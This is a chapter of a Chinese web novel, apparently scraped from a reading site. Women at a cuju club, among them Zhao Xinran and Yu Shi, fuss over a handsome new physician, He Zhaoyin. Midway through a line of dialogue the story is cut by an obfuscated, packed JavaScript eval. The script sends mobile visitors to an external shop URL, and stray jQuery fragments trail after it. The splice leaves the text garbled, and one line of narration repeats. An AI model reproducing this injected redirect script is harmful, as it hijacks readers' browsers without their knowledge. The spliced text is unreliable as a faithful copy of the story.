桃李社的姑娘几乎都来了医药堂,还有一些个看热闹的男子,里三层外三层,将医药堂大门堵得水泄不通。
个子矮的很是吃亏,跳起来也看不着,譬如晚月。
隔得老远,尤什就看到跟个蚂蚱一样蹦来蹦去的晚月,悄然来到她身后,拍她的肩膀:“干什么呢。”
晚月吓了一激灵,道:“我想看新来的大夫长什么样,结果挤了半天也挤不进去。”
她眼眸微动,拉着宋青连的手开始撒娇,央求宋青连把她举起来。
“无聊。”宋青连拒绝,嗤道:“不就是一个男人,至于吗。”
“至于,很至于,你们要知道这新来的大夫是谁,绝对会大吃一惊。”
她一惊一乍道:“贺照吟!”
尤什几人你看看我,我看看你,都从对方眼里看出了疑惑,“没听过。”
“贺照吟你们都不认识?他可是当今圣上的舅舅,摄政王的胞弟,身份尊荣无比。而且他从来是大门不出二门不迈,京中少有人见过他的容颜。听闻他不久之前通过了御医考试,这会子怎么来咱们桃李社了。”
晚月若有所思。
赵歆然接嘴:“难不成是因为我!”
众人无语,只是向她投去关爱的目光,尤什抬手摸了摸她的头。
“你们慢慢看吧,我先回去了。”不管里面的人长得多好看,也提不起尤什的兴趣,她惦记着没完成的工作。
有个外甥皇帝,还有个摄政王兄长,还通过了御医考试,放着好好的福不享,跑来一个球社做大夫。
脑子没点病的人干不来这事。
一个傻子有什么好看的。
“你们慢慢看吧,我回去了。”
尤什不喜欢在这种事情上浪费时间,她还惦记着没做好的工作。
话音未落,就被赵歆然一把抓住,“我之前可是在最前面的,想着让姐妹们饱饱眼福,放弃了观看美男的绝佳位置。我做出如此牺牲,你们必须看一眼再走,看一眼吧,保管不让你们失望。”
她都这样说了,尤什也不好一口回绝,“这么多人,你告诉我怎么看。”
“看我的。”赵歆然挑了挑眉,忽然佝着背,双手捂着肚子开始演技大赏,“哎呦哎呦”个不停。
“好疼啊,我要疼死了……”
她边叫唤便冲晚月眨眼,浓密睫毛如扑棱蛾子般上下翻飞。晚月的脑子这时候就变灵光了,学着她捂肚子叫喊。
为看一个男子,竟连装病这个法子都想出来了,尤什捏了捏眉心,着实不想参与其中,奈何那两个装病的人叫得实在逼真,好似下一秒就要撒手人寰,不管不顾显得她们冷血无情。
双手卡住赵歆然的胳肢窝,她冲宋青连抬了抬下巴,一人抬肩膀一人抬腿。
“大家伙让让,我吃坏肚子,快要憋不住了,拉到你们身上我可不负责。”
吃坏肚子的人声如洪钟,说出的话更是“清新脱俗”,抬着她的尤什和宋青连猛地低下头,不敢去看周围人的感觉,后悔与赵歆然同流合污。
众人听闻此话,往两边退避,让出一条足够三人通行的道,使她们畅通无阻地进了医药堂。
“贺大夫,我肚子不舒服,你帮我把把脉。”赵歆然自觉把手搭在脉枕上。
有意无意露出一节手腕。
尤什抱手站在一旁,本着来都来了的心理,瞥了眼案几后的大夫,怔了一瞬。
这人虽为男子,皮肤却凝白如玉,长睫垂下淡淡阴翳,侧脸俊美又柔和,身着青色薄袍,衣摆如流云,整个人透出冰雪般的空静。
果真是个难得一见的俊俏美男。
只见那俊俏大夫用一块方巾覆于赵歆然手腕之上,就要为她诊脉。
赵歆然显然不满意,直接道:“贺大夫,这手帕恐会影响诊脉结果,我把它拿开了。”
“不碍事。”贺照吟先她一步,两指搭在手帕上,隔着手帕为她诊脉,须臾,得出判断:“姑娘脉象平稳,身子并无问题。”
“听说你们大夫看病讲究望闻问切,你都不抬头看我,怎知我没有问题。”赵歆然不依不饶。
贺照吟抬头看她一眼,“姑娘面色红润,耳清目明,且声音洪厚,不像是有病之人。”
就差没直白地说她在装病。
但赵歆然脸皮厚,听懂也当听不懂,还想与他说话。
尤什却不愿意继续陪着她丢人现眼了。
一手拎着她的后领,“行了,别耽搁大夫的宝贵时间,无聊就去训练。”
“不耽搁。”
“嗯?”尤什匪夷所思地看着贺照吟,怀疑自己出现了幻听
这大夫怎么拆她的台。
“如此,竟是我不识趣了。”
贺照吟神情微滞,腾然起身,看着尤什的背影,动了动嘴唇,像要说些什么,又不懂得如何表达。
赵歆然目光在尤什和俊俏大夫之间游移,纠结片刻后,扭头跟了上去。她虽好色,但男人如衣服,姐妹如手足的道理她还是懂的。
行至门口,赵歆然暮然回首,在众目睽睽之下对贺照吟抛了个媚眼,满是不舍道:“贺大夫,我下午再来瞧你。”
晚月弯着的腰直起来了,肚子也不疼了,美男也不看了,一溜烟跑了出去。
桃李社来个俊俏大夫,把女队的魂都勾走了,一得空就往医药堂跑,训练时也心不在焉,脚下颠着球,心却飞向了别处。
这样继续训练效果甚微,尤什和宋青连商议后,索性放她们去想去的地方。
翌日一早,女队的姑娘们打扮得花枝招展,到医药堂却扑了个空,寻了各处不见贺大夫身影,便聚集在医药堂门前守株待兔。
哪料到她们一门心思想见的人,此刻却在训练场。
身后目光让人难以忽视,尤什转过头,与那不该出现在训练场的人对视。
略一蹙眉,碰了碰身旁人的胳膊,“宋青连,他是不是在看我。”
宋青连一脸鄙夷:“你怎么也说这种话。”
这一早上,她不知听了多少人说这句话,十个手指头都数不过来。
“你莫不是也被那狐狸精迷住了。”
“绝无可能。”尤什否认。
“人家不过是生了副好皮囊,又没做什么坏事,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13381955|141071||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
你怎么凭空给人家安了个狐狸精的名头。”
宋青连哼道:“你看看她们,哪有训练的样子,我说他是狐狸精,哪里冤枉他了。”
以赵歆然为代表的几个姑娘,面露花痴,脑袋偏向一边,直勾勾盯着贺照吟,脚下的鞠何时不见了也不知道。
说他狐狸精,好像确实不冤枉。
宋青连道:“咱桃李社占地几千亩,他去哪站着不好,偏要来这勾搭人。昨儿已浪费了半日时间,往后要都如此,还不如趁早解散了好。我想了两个法子,你看哪个可行。”
“说来听听。”
“第一个法子,我做坏人,把那位扰人心神的大夫赶出训练场。第二个法子,还是我做坏人,让她们跑个三五公里,累了自然就没有精力看男人了。”
尤什咋舌:“不妥。”
“你当着大家的面,无缘无故把他赶走,她们心中不悦,说不定就随他走了。第二个法子更不行,跑步是件很私密的事,三五公里下来,满头大汗面目狰狞,为了在心仪之人面前保持良好形象,定然会半途退出。”
尤什说得头头是道,宋青连皱眉:“这也不行,那也不行,那你说怎么办。”
“你容我想想。”尤什陷入思忖。
不远处,阳光和树影交织,阳光透过槐树叶缝隙,温柔地洒落在少年身上。
偶然对视,少年匆忙移开目光。
“陆玟,她是不是在看我。”
陆玟知他问的是谁,远远望去,见尤什与身旁的女子交谈一二后,又看向他们所在的方向,陆玟肯定道:“公子,她在看你。”
贺照吟微微一顿,不敢去看那人,就听身旁的陆玟道:“公子,她过来了。”
贺照吟略抬眼,果然见尤什正朝他们走来,忽而紧张起来,忙问陆玟:“她若同我说话,我要怎么回复。”
陆玟道:“公子莫要担心,自然一点即可,我相信她是个善解人意的好姑娘。”
贺照吟重重点了下头。
尤什右手握鞠,在槐树几米之远处站定,目不斜视,转身背对树下二人,缓缓言道:“我知大家心中所思,正好,我亦不喜强人所难。现有一个不用训练的机会,只看你们能不能把握住。你们每人有十球机会,我蹴你们接,能接我一球者,往后十余日,皆可免于训练。”
这机会乍一听挺诱人的。赢了免掉训练,输了也无甚影响。
“我来。”
赵歆然举起手,雄赳赳气昂昂地走出队伍。她想的很简单,不管尤什多厉害,十个球她怎么也能接到一个。
彼时她在场边陪着贺大夫,聊风花雪月,看云卷云舒,享受众人艳羡目光。
如果能把贺大夫钓回家,那就更好了。
头顶明日,刺眼的光晃得人睁不开眼。尤什与赵歆然各站一边,相隔十几米。
确认赵歆然准备好之后,尤什将球抛向空中,以足蹴球。球如柳絮飘飘,绵软无力地飞了出去。
一个失误球。
赵歆然心道天助我也,勾起唇角,露出志在必得的表情,算准球的方向和距离,右脚轻轻抬起,准备接应。